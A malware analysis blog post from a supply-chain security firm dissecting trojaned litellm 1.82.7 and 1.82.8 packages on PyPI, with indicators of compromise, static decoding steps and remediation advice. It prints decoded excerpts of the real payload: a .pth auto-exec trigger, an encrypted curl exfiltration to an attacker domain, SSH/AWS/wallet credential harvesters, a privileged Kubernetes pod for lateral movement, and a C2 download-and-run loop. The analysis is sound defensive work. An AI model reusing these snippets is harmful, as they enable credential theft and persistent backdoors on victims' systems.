Malicious Litellm 1.82.8: Credential Theft and Persistent Backdoor

safedep.io · alokDT · 7 days ago · view on HN · research
quality 9/10 · excellent
0 net
Malicious litellm 1.82.8: Credential Theft and Persistent Backdoor - Real-time Open Source Software Supply Chain Security Back to Blog Malicious litellm 1.82.8: Credential Theft and Persistent Backdoor Malware SafeDep Team • Mar 24, 2026 • 10 min read Table of Contents TL;DR Two versions of litellm on PyPI were compromised with credential-stealing payloads. Version 1.82.7 embeds the payload in litellm/proxy/proxy_server.py , triggering on import. Version 1.82.8 escalates by adding a malicious .pth file that executes automatically when the Python interpreter starts, no import required. Both versions collect SSH keys, cloud credentials, Kubernetes secrets, crypto wallets, and environment variables, encrypt them with a hardcoded RSA public key, and exfiltrate the archive to an attacker-controlled server. On Kubernetes clusters, the payload creates privileged pods on every node to establish persistence. On all systems, it installs a systemd service that polls a C2 server for arbitrary binaries to execute. Impact: Exfiltrates all environment variables, SSH keys, and cloud provider credentials (AWS, GCP, Azure) Uses stolen AWS credentials to dump Secrets Manager and SSM Parameter Store values Dumps all Kubernetes secrets across every namespace Deploys privileged pods to every K8s node for lateral movement and persistence Installs a persistent C2 polling backdoor disguised as “System Telemetry Service” Targets cryptocurrency wallet files (Bitcoin, Ethereum, Solana, Cardano, and others) Indicators of Compromise (IoC): Packages: litellm==1.82.7 (payload in proxy/proxy_server.py ), litellm==1.82.8 (wheel SHA256: d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb ) Malicious file: litellm_init.pth (34,628 bytes, SHA256 from RECORD: ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg ) Exfiltration endpoint: hxxps://models[.]litellm[.]cloud/ C2 polling URL: hxxps://checkmarx[.]zone/raw Persistence path: ~/.config/sysmon/sysmon.py Systemd unit: ~/.config/systemd/user/sysmon.service K8s pods: node-setup-* in kube-system namespace Analysis Package Overview litellm is a widely used Python library by BerriAI that provides a unified interface to 100+ LLM providers. On March 24, 2026, a security advisory was filed reporting that version 1.82.8 published to PyPI contained a malicious .pth file not present in the source repository. Rami McCarthy’s post on X amplified the signal and brought it to our attention, prompting this analysis. This compromise is likely a downstream consequence of the Trivy supply chain attack . LiteLLM’s CI/CD pipeline ( ci_cd/security_scans.sh ) installed Trivy from the apt repository without version pinning: Terminal window 1 # ci_cd/security_scans.sh — no version pin on trivy 2 wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add - 3 echo "deb https://aquasecurity.github.io/trivy-repo/deb $( lsb_release -sc ) main" \ 4 | sudo tee -a /etc/apt/sources.list.d/trivy.list 5 sudo apt-get update 6 sudo apt-get install trivy # installs whatever the repo serves When the poisoned Trivy apt repository served a compromised binary, this script installed it with full CI runner privileges. The malicious Trivy binary exfiltrated runner secrets, including PYPI_PUBLISH_PASSWORD . The attacker then used the stolen PyPI credentials to publish malicious versions directly. The litellm maintainer confirmed the Trivy connection on Hacker News . Neither version corresponds to an official GitHub release (releases only go up to v1.82.6.dev1 ). Community analysis in the GitHub advisory thread confirmed two compromised versions with different attack vectors: Version Method Trigger 1.82.7 Payload embedded in litellm/proxy/proxy_server.py import litellm.proxy 1.82.8 .pth file added, payload also in proxy/proxy_server.py Any Python startup (no import needed) Version 1.82.8 is an escalation: the .pth file ensures execution even if the proxy module is never imported. The exfiltration domain models.litellm.cloud was registered on 2026-03-23, one day before the malicious packages appeared on PyPI. This analysis focuses on 1.82.8 as the more dangerous variant. The wheel’s RECORD file confirms the injected file: 1 litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628 The wheel contains 2,598 files across three top-level entries: the legitimate litellm/ package directory, the standard litellm-1.82.8.dist-info/ , and the injected litellm_init.pth . The package metadata (author, homepage, dependencies) is identical to the legitimate litellm project. This is not a typosquat. The attacker used stolen PyPI credentials to publish a trojaned version of the real package. Technical Analysis Warning: All analysis below was conducted inside an isolated Docker container used as a filesystem sandbox. Do not execute any of the malicious payloads on a host system. Download and extract only; never pip install the compromised wheel. Set up an isolated directory for analysis: Terminal window 1 mkdir -p /tmp/malware-analysis-litellm && cd /tmp/malware-analysis-litellm Download the wheel without installing it: Terminal window 1 curl -sL -o litellm-1.82.8-py3-none-any.whl \ 2 "https://files.pythonhosted.org/packages/fd/78/2167536f8859e655b28adf09ee7f4cd876745a933ba2be26853557775412/litellm-1.82.8-py3-none-any.whl" Verify the SHA256 hash: Terminal window 1 shasum -a 256 litellm-1.82.8-py3-none-any.whl 2 # expected: d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb List .pth files in the wheel (legitimate wheels should not contain any): Terminal window 1 unzip -l litellm-1.82.8-py3-none-any.whl | grep '\.pth$' 2 # 34628 03-24-2026 00:00 litellm_init.pth Extract the malicious file without installing the package: Terminal window 1 mkdir -p extracted && cd extracted 2 unzip -o ../litellm-1.82.8-py3-none-any.whl "litellm_init.pth" "litellm-1.82.8.dist-info/*" Decode each base64 layer statically (never execute the payloads): decode_stages.py 1 import base64, re, os 2 3 os.makedirs( "decoded" , exist_ok = True ) 4 5 # Stage 0 -> Stage 1: extract base64 from the .pth one-liner 6 with open ( "litellm_init.pth" ) as f: 7 pth_content = f.read() 8 b64_match = re.search( r " b64decode \( ' ([ ^ '] + ) ' \) " , pth_content) 9 stage1 = base64.b64decode(b64_match.group( 1 )).decode() 10 with open ( "decoded/stage1_orchestrator.py" , "w" ) as f: 11 f.write(stage1) 12 print ( f "Stage 1 (orchestrator): {len (stage1) } bytes -> decoded/stage1_orchestrator.py" ) 13 14 # Stage 1 -> Stage 2: extract B64_SCRIPT from orchestrator 15 b64_script = re.search( r ' B64_SCRIPT \s * = \s * " ([ ^ "] + ) " ' , stage1).group( 1 ) 16 stage2 = base64.b64decode(b64_script).decode() 17 with open ( "decoded/stage2_collector.py" , "w" ) as f: 18 f.write(stage2) 19 print ( f "Stage 2 (collector): {len (stage2) } bytes -> decoded/stage2_collector.py" ) 20 21 # Stage 2 -> Stage 3: extract PERSIST_B64 from collector 22 persist_b64 = re.search( r " PERSIST_B64=' ([ ^ '] + ) ' " , stage2).group( 1 ) 23 stage3 = base64.b64decode(persist_b64).decode() 24 with open ( "decoded/stage3_persistence.py" , "w" ) as f: 25 f.write(stage3) 26 print ( f "Stage 3 (persistence): {len (stage3) } bytes -> decoded/stage3_persistence.py" ) Stage 1: extract base64 from the .pth one-linerwith open("litellm_init.pth") as f: pth_content = f.read()b64_match = re.search(r"b64decode\('([^']+)'\)", pth_content)stage1 = base64.b64decode(b64_match.group(1)).decode()with open("decoded/stage1_orchestrator.py", "w") as f: f.write(stage1)print(f"Stage 1 (orchestrator): {len(stage1)} bytes -> decoded/stage1_orchestrator.py")# Stage 1 -> Stage 2: extract B64_SCRIPT from orchestratorb64_script = re.search(r'B64_SCRIPT\s*=\s*"([^"]+)"', stage1).group(1)stage2 = base64.b64decode(b64_script).decode()with open("decoded/stage2_collector.py", "w") as f: f.write(stage2)print(f"Stage 2 (collector): {len(stage2)} bytes -> decoded/stage2_collector.py")# Stage 2 -> Stage 3: extract PERSIST_B64 from collectorpersist_b64 = re.search(r"PERSIST_B64='([^']+)'", stage2).group(1)stage3 = base64.b64decode(persist_b64).decode()with open("decoded/stage3_persistence.py", "w") as f: f.write(stage3)print(f"Stage 3 (persistence): {len(stage3)} bytes -> decoded/stage3_persistence.py")" data-copied="Copied!"> Expected output: 1 Stage 1 (orchestrator): 25844 bytes -> decoded/stage1_orchestrator.py 2 Stage 2 (collector): 17281 bytes -> decoded/stage2_collector.py 3 Stage 3 (persistence): 1125 bytes -> decoded/stage3_persistence.py decoded/stage1_orchestrator.pyStage 2 (collector): 17281 bytes -> decoded/stage2_collector.pyStage 3 (persistence): 1125 bytes -> decoded/stage3_persistence.py" data-copied="Copied!"> All code snippets below are taken from these decoded files. The following sections walk through each stage. Execution Trigger .pth (path configuration) files exist so that Python’s site module can extend sys.path at interpreter startup. The site module documentation specifies that any line beginning with import is passed to exec() , allowing initialization code to run automatically. This mechanism is intended for configuring specialized environments or loading third-party hook functionality (see also PEP 648 ), but it makes .pth files an effective attack vector: the payload runs every time Python starts, not just when litellm is imported. The .pth file contains a single line: litellm_init.pth 1 import os, subprocess, sys; subprocess.Popen([sys.executable, "-c" , "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MK...'))" ]) This spawns a detached subprocess that decodes and executes a base64-encoded Stage 1 payload. The use of Popen (not run or call ) ensures the malicious code runs in the background without blocking the interpreter. Stage 1: Orchestrator The decoded Stage 1 script (25,844 bytes) manages the overall attack. It contains three key components: a hardcoded 4096-bit RSA public key, a second base64-encoded blob ( B64_SCRIPT ) containing the collection logic, and the encryption/exfiltration routine. 1 # Stage 1 (decoded from litellm_init.pth) 2 PUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY----- 3 MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+ 4 08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV 5 pQWpiuQa+UjTkWmC8RDDXO8G/opLGQnuQVvgsZWuT31j/Qop6rtocYsayGzCFrMV 6 ... 7 -----END PUBLIC KEY-----""" 8 9 B64_SCRIPT = "aW1wb3J0IG9zLHN5cyxzdGF0LHN1YnByb2Nlc3MsZ2xvYgoK..." After executing the collector and capturing its output, the orchestrator encrypts the stolen data using a hybrid encryption scheme: 1 # Stage 1: Encryption and exfiltration 2 subprocess.run([ "openssl" , "rand" , "-out" , sk, "32" ], check = True ) 3 subprocess.run([ "openssl" , "enc" , "-aes-256-cbc" , "-in" , collected, "-out" , ef, 4 "-pass" , f "file: { sk } " , "-pbkdf2" ], check = True , 5 stderr = subprocess. DEVNULL ) 6 subprocess.run([ "openssl" , "pkeyutl" , "-encrypt" , "-pubin" , "-inkey" , pk, 7 "-in" , sk, "-out" , ek, "-pkeyopt" , "rsa_padding_mode:oaep" ], 8 check = True , stderr = subprocess. DEVNULL ) 9 subprocess.run([ "tar" , "-czf" , bn, "-C" , d, "payload.enc" , "session.key.enc" ], 10 check = True ) 11 12 subprocess.run([ 13 "curl" , "-s" , "-o" , "/dev/null" , "-w" , "% {http_code} " , "-X" , "POST" , 14 "https://models.litellm.cloud/" , 15 "-H" , "Content-Type: application/octet-stream" , 16 "-H" , "X-Filename: tpcp.tar.gz" , 17 "--data-binary" , f "@ { bn } " 18 ], check = True , stderr = subprocess. DEVNULL ) A random 32-byte AES session key encrypts the collected data. The session key itself is encrypted with the attacker’s RSA public key. Both are packed into tpcp.tar.gz and POSTed to hxxps://models[.]litellm[.]cloud/ . The domain litellm.cloud (not litellm.ai , the official domain) is attacker-controlled infrastructure chosen to blend in with legitimate litellm services. Stage 2: The Collector The second base64 layer (17,281 bytes) is a comprehensive credential harvester. It defines three core utility functions and then systematically raids every credential store on the system. 1 # Stage 2: Core utilities 2 def emit (path): 3 try : 4 st = os.stat(path) 5 if not stat.S_ISREG(st.st_mode): return 6 with open (path, 'rb' ) as fh:data = fh.read() 7 sys.stdout.buffer.write(( ' \n === ' + path + ' === \n ' ).encode()) 8 sys.stdout.buffer.write(data) 9 sys.stdout.buffer.write( b ' \n ' ) 10 except OSError : pass 11 12 def run (cmd): 13 try : 14 out = subprocess.check_output(cmd, shell = True , 15 stderr = subprocess. DEVNULL , timeout = 10 ) 16 if out: 17 sys.stdout.buffer.write(( ' \n === CMD: ' + cmd + ' === \n ' ).encode()) 18 sys.stdout.buffer.write(out) 19 except Exception : pass The collector outputs everything to stdout, which Stage 1 captures into a file for encryption. The targeted credential categories: System reconnaissance and environment: 1 # Stage 2: System info collection 2 run( 'hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null' ) 3 run( 'printenv' ) /dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')run('printenv')" data-copied="Copied!"> SSH keys (all key types, all users): 1 # Stage 2: SSH key theft 2 for h in homes + [ '/root' ]: 3 for f in [ '/.ssh/id_rsa' , '/.ssh/id_ed25519' , '/.ssh/id_ecdsa' , '/.ssh/id_dsa' , 4 '/.ssh/authorized_keys' , '/.ssh/known_hosts' , '/.ssh/config' ]: 5 emit(h + f) 6 walk([h + '/.ssh' ], 2 , lambda fp,fn: True ) Cloud credentials with active exploitation: The collector doesn’t just read credential files. When it finds AWS credentials, it implements a full AWS SigV4 signing routine in pure Python (no boto3 dependency) and actively dumps Secrets Manager and SSM Parameter Store: 1 # Stage 2: AWS Secrets Manager dump using stolen credentials 2 AK = os.environ.get( 'AWS_ACCESS_KEY_ID' , '' ) 3 SK = os.environ.get( 'AWS_SECRET_ACCESS_KEY' , '' ) 4 # ... 5 sm = aws_req( 'POST' , 'secretsmanager' , REG , '/' , 'Action=ListSecrets' , 6 { 'Content-Type' : 'application/x-amz-json-1.1' , 7 'X-Amz-Target' : 'secretsmanager.ListSecrets' }, AK , SK , ST ) It also queries EC2 IMDS v2 for role credentials, escalating from static IAM keys to temporary role credentials when running on EC2. Cryptocurrency wallets (broad targeting): 1 # Stage 2: Crypto wallet theft 2 for h in homes + [ '/root' ]: 3 for coin in [ '/.bitcoin/bitcoin.conf' , '/.litecoin/litecoin.conf' , 4 '/.dogecoin/dogecoin.conf' , '/.zcash/zcash.conf' , 5 '/.dashcore/dash.conf' , '/.ripple/rippled.cfg' , 6 '/.bitmonero/bitmonero.conf' ]: 7 emit(h + coin) 8 walk([h + '/.bitcoin' ], 2 , 9 lambda fp,fn:fn.startswith( 'wallet' ) and fn.endswith( '.dat' )) 10 walk([h + '/.ethereum/keystore' ], 1 , lambda fp,fn: True ) 11 walk([h + '/.config/solana' ], 3 , lambda fp,fn: True ) Solana gets special treatment with targeted searches for validator keypairs, vote account keys, and Anchor project deploy directories, suggesting the attacker anticipated litellm running on Solana validator infrastructure or crypto-adjacent developer machines. Kubernetes Lateral Movement The most aggressive behavior targets Kubernetes clusters. After dumping secrets from all namespaces, the collector creates a privileged pod on every node in the cluster: 1 # Stage 2: K8s lateral movement via privileged pod creation 2 nodes = k8s_get( '/api/v1/nodes' ) 3 for node in nodes.get( 'items' ,[]): 4 node_name = node.get( 'metadata' ,{}).get( 'name' , '' ) 5 drop_cmd = ( 6 f 'mkdir -p /host/root/.config/sysmon /host/root/.config/systemd/user && ' 7 f 'echo {PERSIST_B64} |base64 -d > /host/root/.config/sysmon/sysmon.py && ' 8 f 'chmod 700 /host/root/.config/sysmon/sysmon.py && ' 9 # ... installs systemd service on the host via chroot ... 10 ) 11 pod_manifest = { 12 'apiVersion' : 'v1' , 'kind' : 'Pod' , 13 'metadata' :{ 'name' : f 'node-setup- { node_name[: 35 ] } ' , 14 'namespace' : 'kube-system' }, 15 'spec' :{ 16 'nodeName' :node_name, 17 'hostPID' : True , 'hostNetwork' : True , 18 'tolerations' :[{ 'operator' : 'Exists' }], 19 'containers' :[{ 20 'name' : 'setup' , 21 'image' : 'alpine:latest' , 22 'command' :[ 'sh' , '-c' ,drop_cmd], 23 'securityContext' :{ 'privileged' : True }, 24 'volumeMounts' :[{ 'name' : 'host' , 'mountPath' : '/host' }] 25 }], 26 'volumes' :[{ 'name' : 'host' , 'hostPath' :{ 'path' : '/' }}], 27 'restartPolicy' : 'Never' 28 } 29 } 30 k8s_post( '/api/v1/namespaces/kube-system/pods' ,pod_manifest) /host/root/.config/sysmon/sysmon.py && ' f'chmod 700 /host/root/.config/sysmon/sysmon.py && ' # ... installs systemd service on the host via chroot ... ) pod_manifest={ 'apiVersion':'v1','kind':'Pod', 'metadata':{'name':f'node-setup-{node_name[:35]}', 'namespace':'kube-system'}, 'spec':{ 'nodeName':node_name, 'hostPID':True,'hostNetwork':True, 'tolerations':[{'operator':'Exists'}], 'containers':[{ 'name':'setup', 'image':'alpine:latest', 'command':['sh','-c',drop_cmd], 'securityContext':{'privileged':True}, 'volumeMounts':[{'name':'host','mountPath':'/host'}] }], 'volumes':[{'name':'host','hostPath':{'path':'/'}}], 'restartPolicy':'Never' } } k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)" data-copied="Copied!"> Each pod mounts the host root filesystem, runs as privileged with hostPID and hostNetwork , and uses chroot /host to install the persistence script and systemd unit directly onto the node. The pods are named node-setup-* in the kube-system namespace to avoid suspicion. The toleration {'operator': 'Exists'} ensures pods schedule on tainted nodes, including control plane nodes. Stage 3: Persistent C2 Backdoor The persistence mechanism, installed both locally and on K8s nodes, is a polling loop disguised as “System Telemetry Service”: ~/.config/sysmon/sysmon.py 1 C_URL = "https://checkmarx.zone/raw" 2 TARGET = "/tmp/pglog" 3 STATE = "/tmp/.pg_state" 4 5 if __name__ == "__main__" : 6 time.sleep( 300 ) 7 while True : 8 l = g() # fetches URL from C2 9 prev = "" 10 if os.path.exists( STATE ): 11 try : 12 with open ( STATE , "r" ) as f: 13 prev = f.read().strip() 14 except : 15 pass 16 17 if l and l != prev and "youtube.com" not in l: 18 e(l) # downloads and executes the binary 19 20 time.sleep( 3000 ) The script polls hxxps://checkmarx[.]zone/raw every 50 minutes for a URL. If the URL changes and is not a YouTube link (likely a dead-man’s switch or testing artifact), it downloads the binary to /tmp/pglog , marks it executable, and runs it. The state file at /tmp/.pg_state prevents re-execution of the same payload. The domain checkmarx.zone impersonates Checkmarx , the application security company. The persistence is registered as a systemd user service with StartLimitIntervalSec=0 (ensuring systemd never stops restarting it) and suppressed output via StandardOutput=null . Obfuscation The attack uses triple base64 encoding as its primary obfuscation. The .pth file contains a base64 blob that decodes to Stage 1, which contains B64_SCRIPT (another base64 blob) that decodes to Stage 2, which contains PERSIST_B64 (a third base64 blob) that decodes to Stage 3. No hex encoding, no string rotation, no minification beyond compressed whitespace. The obfuscation is functional (fits the payload into a .pth one-liner) rather than evasive. The 34,628-byte .pth file is notably large for what should be a simple path configuration file. Conclusion This is likely a second-order supply chain compromise: the Trivy attack appears to have poisoned litellm’s CI/CD pipeline, leading to stolen PyPI credentials and a trojaned package publish. The attacker did not typosquat or create a lookalike; they used legitimate publishing credentials to push a compromised version of the real package. The payload is comprehensive: it steals credentials from every major cloud provider, exploits Kubernetes service account tokens for lateral movement across cluster nodes, and establishes a persistent C2 channel that can deliver arbitrary follow-on payloads. If you installed litellm==1.82.7 or litellm==1.82.8 , treat every credential on that system as compromised. Rotate all API keys, SSH keys, cloud provider credentials, and database passwords. On Kubernetes clusters, audit for node-setup-* pods in kube-system and check for sysmon.service systemd units on every node. Check for the persistence files at ~/.config/sysmon/sysmon.py and ~/.config/systemd/user/sysmon.service . To proactively detect compromised packages before they reach your environment, run vet against your dependency lockfiles. For continuous monitoring of your dependencies, SafeDep Cloud provides real-time detection of malicious packages across your organization’s repositories. References Rami McCarthy’s tweet flagging the compromise GitHub Advisory: BerriAI/litellm#24512 LiteLLM maintainer confirmation on Hacker News Python .pth file documentation PyPI: litellm pypi oss malware supply-chain litellm credential-theft kubernetes Author SafeDep Team safedep.io Share The Latest from SafeDep blogs Follow for the latest updates and insights on open source security & engineering Malware Security A sustained dependency confusion campaign by the sl4x0 actor likely targets 20+ organizations including Adobe, Ford, Sony, and Coca-Cola with 92+ malicious npm packages exfiltrating developer data... Malware A malicious npm package impersonating react-refresh, Meta's library with 42 million weekly downloads, was detected by SafeDep. The package injects a two-layer obfuscated dropper into runtime.js that... Security A consolidated technical reference for the TeamPCP supply chain attack against Aqua Security's Trivy scanner. Covers the full attack chain from AI-assisted initial breach through credential theft,... Technology Security Protect against unknown malicious open source packages by enforcing a supply chain cooling-off period using the now() CEL function in SafeDep vet. View All Blogs Ship Code Not Malware Install the SafeDep GitHub App to keep malicious packages out of your repos. Install GitHub App